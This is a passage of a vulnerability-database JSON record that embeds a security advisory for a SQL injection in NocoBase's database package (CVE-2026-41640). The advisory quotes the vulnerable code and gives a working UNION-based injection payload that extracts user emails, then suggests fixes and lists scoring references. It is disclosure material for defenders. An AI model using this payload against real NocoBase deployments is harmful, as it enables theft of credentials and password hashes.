The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n db: Database;\n nodeIds: any[];\n collection: Collection;\n foreignKey: string;\n targetKey: string;\n}) => {\n const { collection, db, nodeIds } = options;\n const tableName = collection.quotedTableName();\n const { foreignKey, targetKey } = options;\n const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n const queryInterface = db.sequelize.getQueryInterface();\n const q = queryInterface.quoteIdentifier.bind(queryInterface);\n return `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN ('${nodeIds.join(\"','\")}') // <-- INJECTION\n UNION ALL\n SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n FROM ${tableName} AS t\n INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n )\n SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively && instances.length > 0) {\n const targetKey = association.targetKey;\n const sql = queryParentSQL({\n db: this.db, collection, foreignKey, targetKey,\n nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows\n });\n const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\n\nGenerated SQL (3 valid UNION ALL branches):\n WITH RECURSIVE cte AS (\n SELECT \"id\", \"parentId\" FROM \"table\"\n WHERE \"id\" IN ('root','root') UNION ALL SELECT CAST((...)

Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n ```javascript\n const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');\n const sql = `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN (${placeholders})\n UNION ALL\n ...\n ) SELECT ... FROM cte`;\n return { sql, bind: nodeIds };\n ```\n Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`'`, `\"`, `;`, `--`) in string-type primary key fields.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41640", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.04817", "scoring_system": "epss", "scoring_elements": "0.89705", "published_at": "2026-06-06T12:55:00Z" }, { "value": "0.04817", "scoring_system": "epss", "scoring_elements": "0.89704", "published_at": "2026-06-07T12:55:00Z" }, { "value": "0.04817", "scoring_system": "epss", "scoring_elements": "0.89703", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.05498", "scoring_system": "epss", "scoring_elements": "0.90396", "published_at": "2026-06-08T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41640" }, { "reference_url": "https://github.com/nocobase/nocobase", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/nocobase/nocobase" }, { "reference_url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/" } ], "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604" }, { "reference_url": "https://github.com/nocobase/nocobase/pull/9133", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/" } ], "url": "https://github.com/nocobase/nocobase/pull/9133" }, { "reference_url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/" } ], "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39" }, { "reference_url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/" } ], "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41640", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41640" }, { "reference_url": "https://github.com/advisories/GHSA-4948-f92q-f432", "reference_id": "GHSA-4948-f92q-f432", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-4948-f92q-f432" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110875?format=api", "purl": "pkg:npm/%40nocobase/database@2.0.39", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/database@2.0.39" } ], "aliases": [ "CVE-2026-41640", "GHSA-4948-f92q-f432" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8mre-af95-f7h3" } ], "fixing_vulnerabilities": [], "risk_score": "4.0", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/database@1.5.4" }
